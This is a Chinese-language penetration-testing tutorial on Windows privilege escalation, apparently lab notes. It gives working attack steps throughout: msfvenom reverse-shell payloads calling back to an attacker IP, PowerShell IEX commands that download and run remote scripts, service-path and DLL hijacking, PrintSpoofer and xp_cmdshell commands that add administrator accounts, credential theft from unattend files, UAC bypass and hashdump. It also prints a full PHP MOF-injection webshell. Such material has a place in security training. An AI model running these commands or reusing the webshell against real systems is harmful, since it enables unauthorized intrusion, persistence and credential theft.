windows 提权

一、提权的常用方法

1、漏洞提权

2、windwos特性提权

3、第三方组件提权

4、数据库提权 ftp 提权

二、提权常用的命令

1、这个命令序列使用了不同的 Windows Management Instrumentation Command-line (WMIC) 命令来获取各种系统信息。下面是对每个部分的解释:

(1)systeminfo:提供系统配置的综合概览,包括操作系统详情、系统制造商、BIOS 信息等。

(2)wmic product get name,version:列出已安装的软件产品以及它们的名称和版本。

(3)wmic nic where PhysicalAdapter=True get MACAddress,Name:检索与网络适配器相关的信息,包括它们的MAC地址和名称。条件 PhysicalAdapter=True 仅显示物理网络适配器。

(4)wmic NICCONFIG WHERE IPEnabled=true GET IPAddress:获取有关网络配置的信息,特别是启用了IP的网络接口,并检索它们的IP地址。

systeminfo && wmic product get name,version && wmic nic where PhysicalAdapter=True get MACAddress,Name && wmic NICCONFIG WHERE IPEnabled=true GET IPAddress

由于命令太过冗长,可以把他们写进文件里:

systeminfo && wmic product get name,version && wmic nic where PhysicalAdapter=True get MACAddress,Name && wmic NICCONFIG WHERE IPEnabled=true GET IPAddress > output.txt

2、获取版本信息:

systeminfo | findstr OS

3、获取主机名称:

hostname

4、获取当前用户的详细信息:

whoami /all

5、显示当前用户的安全特权:

whoami /priv

6、查看服务:

net start

比如关注有没有防火墙

7、获取在线用户(只有服务端的 windows 才有):

quser or query user

8、获取端口状态:

netstat -ano

(1)获取正在等待来自远程计算机的连接请求的端口:

netstat -ano | findstr "LISTENING"

(2)获取 rdp 连接来源 IP:

netstat -ano | findstr 3389 

补充:

在网络通信中,netstat 命令可以显示不同连接的状态。以下是一些常见的连接状态:
(1)LISTENING(监听): 表示某个进程正在等待来自远程计算机的连接请求。通常,这是服务或应用程序正在监听某个端口,等待连接。
(2)ESTABLISHED(已建立): 表示连接已成功建立,数据可以在两个计算机之间传输。这是正常的、稳定的连接状态。
(3)TIME_WAIT(等待时间结束): 表示连接已关闭,但系统仍在等待一段时间以确保所有的报文都已被接收。这是正常的,通常用于处理可能在网络中存在的延迟或重传。
(4)CLOSE_WAIT(等待关闭): 表示本地端已经关闭连接,但远程端仍在发送数据。这可能表明存在未处理的关闭连接问题。
(5)SYN_SENT(同步已发送): 表示计算机已发送同步(SYN)请求以建立连接,等待对方的确认。
(6)SYN_RECEIVED(同步已接收): 表示计算机已经接收到同步(SYN)请求,并发送确认。
(7)FIN_WAIT_1(等待终止1): 表示连接中的一方已经发送关闭请求,等待对方的确认。
(8)FIN_WAIT_2(等待终止2): 表示连接中的一方已经收到对方的关闭请求,但仍在等待其他报文。
(9)CLOSED(已关闭): 表示连接已经完全关闭,不再存在。

9、列出已安装的补丁:

wmic qfe get Caption,Description,HotFixID,InstalledOn

10、获取远程端口:

REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

回显:

(1)PortNumber 是一个 REG_DWORD 类型的注册表键,表示存储的值是一个32位的十进制整数。
(2)0xd3d 是 PortNumber 的值,以十六进制表示。在十进制中,这个值是3389。

11、获取远程桌面服务的 pid:

tasklist /svc | findstr "TermService"

三 、提权初尝试

1、登录远程桌面

2、查找远程桌面服务的 PID

tasklist /svc | findstr "TermService"

3、然后在任务管理器中查找服务的端口:

或者使用命令查看:

netstat -ano | findstr "1360"

由上述可得到服务的端口号为 3389,也可以得到我们的 IP 是 192.168.103.1,然后端口是 7926

四、Windows 提权辅助

1、检测系统补丁脚本 :

https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester

2、查看补丁 :

https://github.com/chroblert/WindowsVulnScan

3、windows 内核提权 exp :

https://github.com/SecWiki/windows-kernel-exploits

4、在线提权利用查询 (用 exp 搜提权方法):

https://lolbas-project.github.io/

5、提权辅助网页(通过 systeminfo 查找没有的补丁):

hacking8.com

五、Windows 漏洞提权流程

5.1  流程:

能够执行cmd命令->是否打补丁->补丁对应exp->获取服务器权限

5.2  上传后门执行命令的时候:aspx 优于 asp 和 php

5.3  详细流程:

1、上传后门

2、执行命令:

systeminfo

3、复制回显信息,然后到 hacking8.com 中查询补丁信息

六、提权工具

6.1、windows-kernel-exploits

1、下载地址:GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合

6.2、wesng

1、下载地址:https://github.com/bitsadmin/wesng

6.3、WindowsVulnScan

1、下载地址:

https://github.com/chroblert/WindowsVulnScan/

2、工具使用:

(1)先使用 powershell 执行 ./KBCollect.ps1

(2)会在指定目录下生成 KB.json

(3)然后执行:

python cve-check.py -C -f KB.json

 (4)得到结果

3、实战使用:

(1)先更改 KBCollect.ps1 的 out-file,这是生成的 KB.json 的保存路径

可以改为:

C:\ProgramData\KB.json

 (2)远程开启服务器,上面有 KBCollect.ps1

复制 IP 地址:

http://192.168.103.130:7788/KBCollect.ps1

(3)在网站上上传的大马下执行命令:

Powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.103.130:7788/KBCollect.ps1')

命令解释:

这是一条 PowerShell 命令,其主要目的是从指定的 URL 下载一个 PowerShell 脚本(KBCollect.ps1),并在本地执行。

1、New-Object 是 PowerShell 中用于创建新对象的 cmdlet。
2、Net.WebClient 是一个 .NET 类,用于从指定的 URI 下载数据。
3、.DownloadString('http://192.168.0.182/KBCollect.ps1'):
这是调用 DownloadString 方法,该方法从指定的 URL 下载数据,并将其作为字符串返回。在这里,它下载了位于 http://192.168.0.182/KBCollect.ps1 的 PowerShell 脚本。

IEX:
IEX 是 Invoke-Expression 的缩写,用于执行由字符串表示的命令。它会接受字符串作为参数,并在 PowerShell 中执行该字符串中表示的命令。

将整个命令组合在一起,它的作用是下载 http://192.168.0.182/KBCollect.ps1 上的脚本,并使用 IEX 执行这个脚本

此时 KBCollect.ps1 成功执行,在 C:\ProgramData 下 KB.json 成功生成,然后我们通过大马把它下载下来

(4)把 KB.json 粘贴到工具目录下,使用命令:

python cve-check.py -C -f KB.json

执行后,就可得到对应的 EXP。

七、提权技巧

7.1  查询可写目录或文件:

1、概述:

        在确定可以执行 cmd 命令时,有些服务器会对目录进行权限设置,导致 iis_user 用户组没有权限对常见的目录进行写入和读取,这时可以用扫描可写目录脚本对目录进行遍历扫描,得到可写目录上传或下载提权 exp 或替换文件进行利用。

2、工具使用:

(1)wt.asp:

        红色表示文件可替换,蓝色表示目录可写

(2)wt.aspx

3、这时候就可以在可写的目录中上传 cmd 了(有时候需要多尝试几个目录)

八、漏洞实战:

8.1  CVE-2016-3225(MS16-075)

1、漏洞概述:

        当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块(SMB) 中存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。
若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。
注:烂土豆(Rotten Potato)提权是一个本地提权,是针对本地用户的,不能用于域用户

2、影响版本:

win7,win8,win10,win vista

win 2008,win 2012

3、漏洞判断:

(1)先用补丁扫描工具进行扫描,然后从可用 exp 中寻找是否存在 CVE-2016-3225,如果有说明可利用:

4、漏洞复现:

(1)上传利用工具

工具一:

GitHub - uknowsec/JuicyPotato: Modifying JuicyPotato to support load shellcode and webshell

工具二:

Release PrintSpoofer · itm4n/PrintSpoofer · GitHub

(2)执行 cmd 命令:

1、测试工具是否可以使用(这时候发现用户变为了 nt authority\system,系统用户和管理员用户的区别就是系统用户不需要输入密码)
C:\Windows\debug\WIA\PrintSpoofer64.exe -i -c whoami
2、添加用户(如果是服务器用户,不能执行添加)
C:\Windows\debug\WIA\PrintSpoofer64.exe -i -c "net user chunchun 123456 /add"
3、添加用户权限
C:\Windows\debug\WIA\PrintSpoofer64.exe -i -c "net localgroup administrators chunchun /add"
4、检查用户的用户组
C:\Windows\debug\WIA\PrintSpoofer64.exe -i -c "net user chunchun"

(3)执行 netstat -ano 发现 3389 端口是开启的,说明可以远程连接桌面,然后我们用刚才创建的用户和密码进行连接就可以了

8.2  CVE-2014-4113(MS14-058)

1、漏洞概述:

        如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序,查看、更改或删除数据,或者创建拥有完全管理权限的新帐户。

2、影响版本:

        该漏洞影响所有Windows x64,包括Windows 7 和 Windows Server 2008 R2 及以下版本。

3、漏洞复现:

(1)上传提权工具

(2)执行命令:

C:\Windows\debug\WIA\Win64.exe whoami

(3)其余内容与上述一致

8.3  CVE-2020-0787

1、漏洞概述:

        当 Windows Background Intelligent Transfer Service (BITS)未能正确地处理符号链接时,存在权限提升漏洞。成功利用此漏洞的攻击者可以覆盖导致提升状态的目标文件。要利用此漏洞,攻击者首先必须登录到系统。

2、利用工具下载:

Releases · cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION · GitHub

3、漏洞复现:

(1)上传利用工具

(2)先想办法把权限提升到普通用户,然后创建普通权限的用户

(3)远程桌面连接这个用户

C:\Windows\debug\WIA\BitsArbitraryFileMoveExploit.exe

(4)运行工具,进行本地提权

九、使用 metasplite 提权

9.1  获取交互式 shell

1、生成反向连接后门:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.103.130 lport=7778 -f exe > s.exe
或
msfvenom -p windows/64/meterpreter/reverse_tcp lhost=192.168.103.130 lport=7778 -f exe > s.exe

2、在 metasploit 中进行监听:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp
或
set payload windows/x64/meterpreter/reverse_tcp

set lhost 192.168.103.130
set lport 7778
exploit

3、远程操控 s.exe 在目标主机运行,然后 kali 主机接收到反弹 shell

4、常用命令:

getuid 获取用户
systeminfo 获取主机信息
run post/windows/gather/enum_patches 获取补丁安装情况

注意:一般是用于非交互式 shell 提升为交互式 shell

9.2   获取可用 exp

1、常用 exp :

ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码
ms16_016 WebDAV本地提权漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle 本地提权漏漏洞

2、获取可用 exp

use post/multi/recon/local_exploit_suggester
set session 1
exploit
9.3  使用 exp (这里使用的是 exploit/windows/local/ms16_075_reflection_juicy)

1、设置好参数

2、运行,获取到 shell 为系统用户

9.4  维持权限

1、隐藏 shell 的进程(捆绑进程,进程迁移)

migrate 2584

注意:捆绑不同的进程会是不同的用户,可能是系统用户,可能是管理员用户

十、Windows 系统配置错误提权

10.1  系统服务权限配置错误

1、描述:
        Windows 在系统启动时,会伴随着一些高权服务启动(以 system 权限运行的 windows 服务)倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持

2、漏洞介绍:
        windows 系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。windows 服务是以 system 权限运行的,其文件夹、文件和注册表 key-value 都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。

3、漏洞复现:

(1)使用工具进行分析:

工具一:GitHub - HarmJ0y/PowerUp: This version of PowerUp is now unsupported. See https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp for the most current version.

工具二:GitHub - itm4n/PrivescCheck: Privilege Escalation Enumeration Script for Windows

因为工具一版本很久没有更新了,现在是工具二使用较多,这个工具是一款针对 Windows 系统的提权枚举脚本,该脚本能够枚举出目标 Windows 系统中常见的 Windows 错误安全配置,而这些错误的安全配置将允许攻击者在目标系统中实现信息收集以及权限提升

(2)kali 下载工具到本地后,使用 python 启动远程服务器:

python -m http.server 7788

(3)在 windows 的 webshell 中执行:

如果是工具一:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.103.130:7788/PowerUp.ps1'); Invoke-AllChecks"

如果是工具二:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.103.130:7788/PrivescCheck.ps1'); Invoke-PrivescCheck"

 扫描结束后发现存在漏洞配置的信息:

NT AUTHORITY\SERVICE 是一个组,服务都是由组中的用户 NT AUTHORITY\SYSTEM 的身份运行的,这时候我们可以修改服务运行的路径,让我们的后门文件以 NT AUTHORITY\SYSTEM 的身份运行,这就达到了提权的目的。

此时可以通过以下命令来进一步确认我们是否可以对该服务进行控制

sc stop UsoSvc
sc query usosvc
sc start UsoSvc

(4)kali 生成一句话后门:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.103.130 lport=7778 -f exe > s.exe

若是直接在 webshell 的 shell 中运行 s.exe,获取到的权限只是服务器权限

(5)上传一句话后门:

后门地址:C:\ProgramData\s.exe

(6)修改上面提到的 UsoSvc 服务的配置文件:

sc config usosvc binPath= "C:\ProgramData\s.exe"

注意等号后面一定有个空格

(7)msf 启动监听:具体可参考上述第九部分

(8)重新启动 UsoSvc 服务,连接成功

(9)进程自动迁移:
刚刚连接上的 shell 是极其不稳定的,所以要进行进程迁移,进程自动迁移:

set AutoRunScript migrate -f

(10)再次启动 usosvc 服务,连接成功

(11)使用 exploit/windows/local/service_permissions 模块:

先获取一个低权限的用户 shel,background 放到后台
use exploit/windows/local/service_permissions
set session 3
exploit

自动扫描到可更改配置文件的路径,然后进行自动提权

10.2  不带引号的服务路径提权

1、描述:

        当系统管理员配置 Windows 服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。当 Windows 服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

2、原理:

(1)运行可执行文件时,若是以双引号为路径:

"C:\Program Files\1.exe"

 (2)若是没有双引号:

C:\Program Files\1.exe

(3)这时候把要运行的可执行文件改名为 Program.exe,并放到 C 盘下面:

C:\Program Files\1.exe

由此我们可以知道,只要路径没有双引号,然后路径中有空格,那么就可以把后门文件改名为路径空格前的名字,然后在有空格的目录路径的上一层上传后门文件,这样在执行这一服务时,我们的后门文件也就跟着执行了。

3、漏洞复现:

(1)使用工具或命令扫描路径中有空格且无双引号的部分:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.103.130:7788/PrivescCheck.ps1'); Invoke-PrivescCheck"

 或:

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr
/i /v "C:Windows" |findstr/i /v """

(2)要求路径可写入文件

(3)如果路径可写,上传 msf 后门,在目标主机服务重启后,就会自动连接上了,注意要设置进程自动迁移:

set AutoRunScript migrate -f

10.3  注册键 AlwaysInstallElevated

1、描述:
        允许低权限用户以 System 权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NT Authority\System 权限来安装恶意的 MSI 文件。 windows install 是 windows 操作系统的组件之一,专门用来管理配置软件服务,它除了是一个安装程序,还用于管理软件的安装、组件的添加、删除、监视文件的还原、通过回滚进行灾难恢复。windows install 通过 msiexec.exe 安装 MSI文件,双击 MSI 文件就会运行 msiexec.exe。 原理:是因为用户打开了 windows installer 特权安装功能。

2、环境准备:

(1)设置 windows 策略:

输入:

gpedit.msc

找到:用户设置->管理模板->windows组件->windows install->始终以提升的权限进行安装

 (2)也可以通过命令修改:

reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
Reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

3、漏洞复现:

(1)通过工具扫描,判断是否存在此漏洞:

PowerShell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.103.130:7788/PowerUp.ps1'); Get-RegAlwaysInstallElevated

(2)返回为 true 说明存在漏洞

注意 iis-user 的用户权限低,是 false ,普通用户则为 true

(3)上传并使用工具来创建管理员权限的用户:

工具地址:https://github.com/apt69/COMahawk/releases

执行后创建用户成功,达到了提权的目的

10.4  自动安装配置文件提权

1、描述:

(1)通常大型组织在部署某些员工较多或时间紧缺的程序时,会使用 Unattended Installs 自动安装,这种方式允许程序在不需要管理员的操作下进行自动安装,这种方式在部署程序前期较有用,但它也会在系统中残留一个名为 Unattend 的 XML 文件,这个 XML 件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户等。

        Unattend.xml 文件通常在以下文件夹中:

C:\sysprep.inf
C:\syspreg\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\windows\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\Unattend.xml
C:\Windows\System32\Sysprep\Panther\Unattend.xml

(2)除此之外,系统中遗留的 sysprep.xml 和sysprep.inf 文件中也可能包含部署系统时使用的凭证信息,可以通过利用这些信息进行提权。

(3)通过搜索 UserAccounts 、Administrators、password 等对凭证进行定位
部分文件内容可能如下:

<UserAccounts>
    <LocalAccounts>
        <LocalAccount>
            <Password>
                <Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value>                         <PlainText>false</PlainText>
            </Password>
            <Description>Local Administrator</Description>                        <DisplayName>Administrator</DisplayName>                             <Group>Administrators</Group>
            <Name>Administrator</Name>
        </LocalAccount>
    </LocalAccounts>
</UserAccounts>

在以上文件中,可以看到 一个本地账户被创建并加入到了管理员组中。
可以猜测密码的值应该是以Base64进行编码的
对密码值进行Base64解码,解码得到:

P@ssword123!Password

通常微软会在编码前的密码后加上password,所以这里本地管理员的密码实际是:P@ssword123!

2、漏洞利用:

(1)使用命令来查看目标文件是否存在,若存在路径是多少:

dir /b /s c:\Unattend.xml

(2)可以使用 type 来直接查看文件内容,也可以直接用 webshell 来下载文件到本地

type c:\Windows\Panther\unattend.xml

(3) 也可以使用 msf 的 post/windows/gather/enum_unattend 对这个配置文件扫描:

先获取到反向 shell,background 后使用如下命令:
use post/windows/gather/enum_unattend
set session 1
exploit

(4)也可以使用 powerup 工具:

powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.103.130:7788/PowerUp.ps1');Get-UnattendedInstallFile"

(5)连接上 shell 之后可以使用:

search -f *pass*

来寻找文件名中带有 pass 文件

10.5  本地 dll 劫持提权

        在 Windows 操作系统中,,DLL 对于程序执行是非常重要的,因为程序在执行的时候,必须链接到 DLL 文件,才能够正确地运行。而且有些 DLL 文件可以被许多程序共用。

1、描述:

        Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过在应用程序要查找的位置放置恶意 DLL 来提权。

        通常,Windows 应用程序有其预定义好的搜索 DLL 的路径,它会根据下面的顺序进行搜索:

1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)

这样的加载顺序很容易导致一个系统 DLL 被劫持,因为只要攻击者将目标文件和恶意 DLL 放在一起即可,导致恶意 DLL 先于系统 DLL 加载,而系统 DLL 是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件。

2、漏洞复现:

(1)使用火绒剑来获取进程信息:

(2)结束进程,替换 360Base.dll 文件,用 msf 生成:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.103.130 lport=7778 -f dll > 360base.dll

(3)kali 启动监听,目标机重新启动进程,连接成功

十一、第三方提权:

11.1  sqlserver 提权

1、描述:
        如果网站里面使用的数据库是 sqlserver 那么如果找到 sa 的密码,利用提权脚本,执行命令,但是不一定的系统权限,还要看管理员开始安装 sqlserver 的权限设置 一般情况是 system 权限或者 pulic 均能执行命令。

2、敏感文件:

web.config
config.asp
conn.aspx
database.aspx

3、环境准备:

(1)sql server 环境,若未开启,win + R 输入以下命令来开启:

SQLServerManager11.msc

(2)准备 sql server 连接工具,或者使用 webshell 的 mssql 连接工具

4、漏洞复现:

(1)端口扫描,发现 1433 端口是开启状态

(2)连接 mssql ,用户名为 sa ,密码为 123456

(3)开启 xp_cmd 权限:

       xp_cmdshell:xp_cmdshell 是 Sql Server 中的一个组件,将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。通常在拿到 sa 口令之后,可以通过 xp_cmdshell 来进行提权。

        使用如下命令来查看是否开启,有返回说明已开启,下图中 xtype 为对象类型,xtype='x' 这里表示xp_cmdshell 的对象类型为扩展存储过程:

select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

也可以使用如下命令,返回 1 说明开启:

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

若未开启,开启 xp_cmdshell 的命令为:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

(4) 执行命令:

exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"
或
Exec master.dbo.xp_cmdshell 'net user chun 123456 /add '
Exec master.dbo.xp_cmdshell 'net localgroup administrators chun /add'
Exec master.dbo.xp_cmdshell 'net user chun'
11.2  mysql 提权

1、描述:

        通过上传自定义的函数来进行提权,在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀为 dll,c语言编写。

2、漏洞利用前提:

(1) secure_file_priv 设置为空;

(2)plugin 存在;

(3)

3、漏洞复现:

(1)使用工具连接 mysql 服务

(2)上传到 C:/phpStudy/MySQL/lib/plugin/ 目录下,注意 plugin 可能不存在,若不存在需要手动创建,若存在直接导入:

(3) 先创建函数:

(4)执行命令:

此时已经是系统权限了。

11.3  mof 提权

1、描述:

       mof 是 windows 系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做 "托管对象格式" 其作用是每隔五秒就会去监控进程创建和死亡。

2、原理:

       获取了 mysql 的 root 权限了以后,然后使用 root 权限去执行我们上传的 mof。隔了一定时间以后这个 mof 就会被执行,这个 mof 当中有一段是 vbs 脚本,这个 vbs 大多数的是 cmd 的添加管理员用户的命令。

3、影响版本:

(1)windows 03 及以下版本
(2)mysql启动身份具有权限去读写 c:/windows/system32/wbem/mof 目录
(3)secure-file-priv参数不为null

4、漏洞复现:

(1)获取 mysql 管理员的账号密码

(2)连接后上传 mof ,mof 的内容是执行 windows 命令

脚本内容示例:

<?php 
    $path="c:/ini.txt"; 
    session_start(); 
if(!empty($_POST['submit'])){ 
setcookie("connect"); 
setcookie("connect[host]",$_POST['host']); 
setcookie("connect[user]",$_POST['user']); 
setcookie("connect[pass]",$_POST['pass']); 
setcookie("connect[dbname]",$_POST['dbname']); 
echo "<script>location.href='?action=connect'</script>"; 
} 
if(empty($_GET["action"])){ 
?> 

<html> 
<head><title>Win MOF Shell</title></head> 
<body> 
<form action="?action=connect" method="post"> 
Host: 
<input type="text" name="host" value="127.0.0.1:3306"><br/> 
User: 
<input type="text" name="user" value="root"><br/> 
Pass: 
<input type="password" name="pass" value="zkeys"><br/> 
DB:   
<input type="text" name="dbname" value="mysql"><br/> 
<input type="submit" name="submit" value="Submit"><br/> 
</form> 
</body> 
</html> 

<?php 
exit; 
} 
if ($_GET[action]=='connect') 
{ 
$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"])  or die('<pre>'.mysql_error().'</pre>'); 
echo "<form action='' method='post'>"; 
echo "Cmd:"; 
echo "<input type='text' name='cmd' value='$strCmd'?>"; 
echo "<br>"; 
echo "<br>"; 
echo "<input type='submit' value='Exploit'>"; 
echo "</form>"; 
echo "<form action='' method='post'>"; 
echo "<input type='hidden' name='flag' value='flag'>"; 
echo "<input type='submit'value=' Read  '>"; 
echo "</form>"; 
if (isset($_POST['cmd'])){ 
$strCmd=$_POST['cmd']; 
$cmdshell='cmd /c '.$strCmd.'>'.$path; 
$mofname="c:/windows/system32/wbem/mof/system.mof"; 
$payload = "#pragma namespace(\"\\\\\\\\\\\\\\\\.\\\\\\\\root\\\\\\\\subscription\") 

instance of __EventFilter as \$EventFilter 
{ 
  EventNamespace = \"Root\\\\\\\\Cimv2\"; 
  Name  = \"filtP2\"; 
  Query = \"Select * From __InstanceModificationEvent \" 
      \"Where TargetInstance Isa \\\\\"Win32_LocalTime\\\\\" \" 
      \"And TargetInstance.Second = 5\"; 
  QueryLanguage = \"WQL\"; 
}; 

instance of ActiveScriptEventConsumer as \$Consumer 
{ 
  Name = \"consPCSV2\"; 
  ScriptingEngine = \"JScript\"; 
  ScriptText = 
  \"var WSH = new ActiveXObject(\\\\\"WScript.Shell\\\\\")\\\\nWSH.run(\\\\\"$cmdshell\\\\\")\"; 
}; 

instance of __FilterToConsumerBinding 
{ 
  Consumer = \$Consumer; 
  Filter = \$EventFilter; 
};"; 
mysql_select_db($_COOKIE["connect"]["dbname"],$conn); 
$sql1="select '$payload' into dumpfile '$mofname';"; 
if(mysql_query($sql1)) 
  echo "<hr>Execute Successful!<br> Please click the read button to check the  result!!<br>If the result is not correct,try read again later<br><hr>"; else die(mysql_error()); 
mysql_close($conn); 
} 

if(isset($_POST['flag'])) 
{ 
  $conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"])  or die('<pre>'.mysql_error().'</pre>'); 
  $sql2="select load_file(\"".$path."\");"; 
  $result2=mysql_query($sql2); 
  $num=mysql_num_rows($result2); 
  while ($row = mysql_fetch_array($result2, MYSQL_NUM)) { 
    echo "<hr/>"; 
    echo '<pre>'. $row[0].'</pre>'; 
  } 
  mysql_close($conn); 
} 
} 
?>

(3)添加管理员用户,这时候就达到了提权的目的

11.4  G6FTP 提权

1、描述:

        G6 FTP Server 新一代的 FTP 服务器端软件,支持 RFC-959 标准并增强其中的某些功能,上传和下载都可以续传,实时查看运行状态,占用带宽,还有很多功能。

2、原理:

       G6FTP 的默认端口为 8021,只侦听在 127.0.0.1 的 8021 端口上,所以无法从外部直接访问,需要进行端口转发,使用lcx 工具(lcx 具有三个功能:监听、转发、端口转向)。

3、复现:

(1)确定 G6FTP 存在后,需要把 8021 端口转发出来:

lck.exe -tran 3344 127.0.0.1 8021

可以在目标主机上确认 3344 端口的开启:

 (2)对于目标 G6FTP 的密码的问题,可以通过 webshell 访问:

C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini

来查看密码
(3)连接 目标的 G6FTP ,在域中创建用户,开放 C:的权限,执行创建用户的指令

net user chunc 123456 /add && net localgroup administrators chunc /add

(4)连接 FTP :

在 cmd 中输入:

ftp 192.168.103.154

然后输入刚才创建的账号和密码:

(5)执行设置好的命令:

quote stie ADD

如果可以执行的化就执行成功了

(6)也可以通过添加的 ftp 账号来使用伪协议进行文件写入,或是文件替换来实现自启动提权:

1、可以把可执行的后门文件上传到:
C:/Users/用户名/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/ 目录下
2、把后门文件重命名为:sethc.exe
替换到:C:\Windows\System32 目录下

十二、绕过 uac(bypassuac)

12.1  描述:

        UAC(UserAccount Control,用户账户控制)简言之就是在 Vista 及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。

        为了远程执行目标的 exe 或者 bat 可执行文件绕过此安全机制,以此叫 BypassUAC(不进行弹窗直接运行执行文件)

12.2  使用 msf 进行绕过:

1、先使用 msf 获取 shell,然后 background

2、使用如下命令来使用模块:

use exploit/windows/local/bypassuac 或 use exploit/windows/local/bypassuac_injection
set session 1
exploit

原理:

        此模块将利用受信任的通过进程注入发布者证书。它将产生一个关闭 UAC 标志的第二个shell。此模块使用反射 DLL 注入技术,仅丢弃 DLL有效负载二进制文件,而不是标准技术中的三个单独的二进制文件。但是,它需要选择正确的体系结构 x64(也适用于 SYSWOW64 系统)。如果指定 EXE::自定义 DLL 应在单独启动有效负载后调用 ExitProcess()

3、若以上模块都不能生成第二个 shell,可以 search uac,使用其它模块,比如:

exploit/windows/local/bypassuac_sdclt

        注意,architecture 和 meterpreter 都要是 x64 才能执行下述命令,如果 meterpreter 是 x86 需要迁移进程到 x64 的进程中:

4、执行下述命令:

getsystem
hashdump

 具体说明作用暂且不表。

十三、lcx 端口转发

13.1  工具描述:
        lcx 是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。它是一款命令行工具,当然也可以在有权限的 webshell 下执行,正因如此 lcx 常被认为是一款黑客入侵工具,lcx 在内网入侵渗透中起着重要的角色。lcx 进行端口转发的原理就是使不同端口之间形成一个回路。它常用于外网连接内网 3389 端口。

-listen <ConnectPort> <TransmitPort>
-tran <ConnectPort> <TransmitHost> <TransmitPort>
-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>

eg:lck.exe -tran 3344 127.0.0.1 8021

13.2  本地转发:

1、描述:

        把本地的(127.0.0.1)端口转发出来,让外部进行连接

2、实现:

lck.exe -tran 3344 127.0.0.1 8021

13.3  远程转发:

1、描述:

        远程转发 一般用于外网无法访问内网,内网可以访问外网,由内部发出请求到外网,所以防火墙不会拦截。客户端除了可以在本地访问内网机子,也可以作为中间人,外部机子也能连接客户端到内网服务端。

2、复现:

(1)目标主机(192.168.103.154):

lcx.exe -slave 192.168.103.154 5566 127.0.0.1 3389

把本地受保护的 3389 端口转发到 192.168.103.154 的 5566 端口

(2)攻击主机(192.168.103.153):

lcx.exe -listen 7788 5566

(3)这时候攻击主机可以使用 127.0.0.1:7788 来远程连接目标主机

(4)这时候第三方主机可以使用 192.168.103.153:7788 来连接目标主机

十四、远程终端开启

14.1  注册表开启远程终端

1、描述:

        远程终端的默认端口是 3389 ,云 vps 一般会开启,在没有启用的情况下,在较高的权限下可以使用注册表命令进行开启。

2、2008 2012 2016 开启 3389

(1)编辑 1.bat 文件:

echo DO ALL IN CMD!

